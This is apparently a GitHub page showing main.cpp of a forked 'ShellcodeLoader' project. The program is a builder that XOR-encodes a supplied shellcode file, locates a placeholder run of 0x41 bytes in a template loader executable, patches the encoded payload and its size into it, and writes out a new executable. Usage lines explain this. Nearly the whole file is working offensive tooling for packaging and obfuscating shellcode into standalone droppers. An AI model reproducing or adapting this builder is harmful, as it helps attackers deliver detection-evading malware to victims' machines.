forked from xiaoma99272/ShellcodeLoader-1
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
61 lines (57 loc) · 1.87 KB
/
main.cpp
File metadata and controls
61 lines (57 loc) · 1.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include "main.h"
int main(int argc, char* argv[], char* envp[])
{
printf(" .--. .-. .-. .-. .-. .-. .-. \r\n");
printf(": .--': : : : : : : : : : : : \r\n");
printf("`. `. : `-. .--. : : : : .--. .--. .-' : .--. : : .--. .--. .-' : .--. .--. \r\n");
printf(" _`, :: .. :' '_.': :_ : :_ ' ..'' .; :' .; :' '_.': :__ ' .; :' .; ; ' .; :' '_.': ..'\r\n");
printf("`.__.':_;:_;`.__.'`.__;`.__;`.__.'`.__.'`.__.'`.__.':___.'`.__.'`.__,_;`.__.'`.__.':_; \r\n");
printf(" \r\n");
if (argc == 3)
{
FILEINFO shellinfo = Openfile(argv[1]);
for (int i = 0; i < shellinfo.size; i++)
{
shellinfo.ptrbuffer[i] = (shellinfo.ptrbuffer[i] ^ i )+ 1;
}
char loadername[] = "ShellcodeLoader.exe";
FILEINFO loaderinfo = Openfile(loadername);
int cnt = 0,offset = 0,num = 0;
while (TRUE)
{
if (loaderinfo.ptrbuffer[cnt] == 0x41)
{
offset = cnt;
while (loaderinfo.ptrbuffer[cnt] == 0x41)
{
cnt++;
num++;
if (num > 0x50)
{
break;
}
}
}
if (num > 0x50)
{
break;
}
cnt++;
num = 0,offset = 0;
//scan shellcode buffer
}
Mymemcpy(&(loaderinfo.ptrbuffer[offset]), &(shellinfo.size),sizeof(DWORD));
Mymemcpy(&(loaderinfo.ptrbuffer[offset + sizeof(DWORD)]), shellinfo.ptrbuffer, shellinfo.size);
Write2file(loaderinfo.ptrbuffer, loaderinfo.size,argv[2]);
printf("\r\n[+] output file------->%s\r\n",argv[2]);
}
else
{
printf("[*]usage:\r\n");
printf("[*]LoaderMaker.exe <shellcode.c> <outfile.exe> \r\n");
printf("[*]example:\r\n");
printf("[*]LoaderMaker.exe shellcode.bin loader.exe\r\n");
}
//getchar();
return 0;
}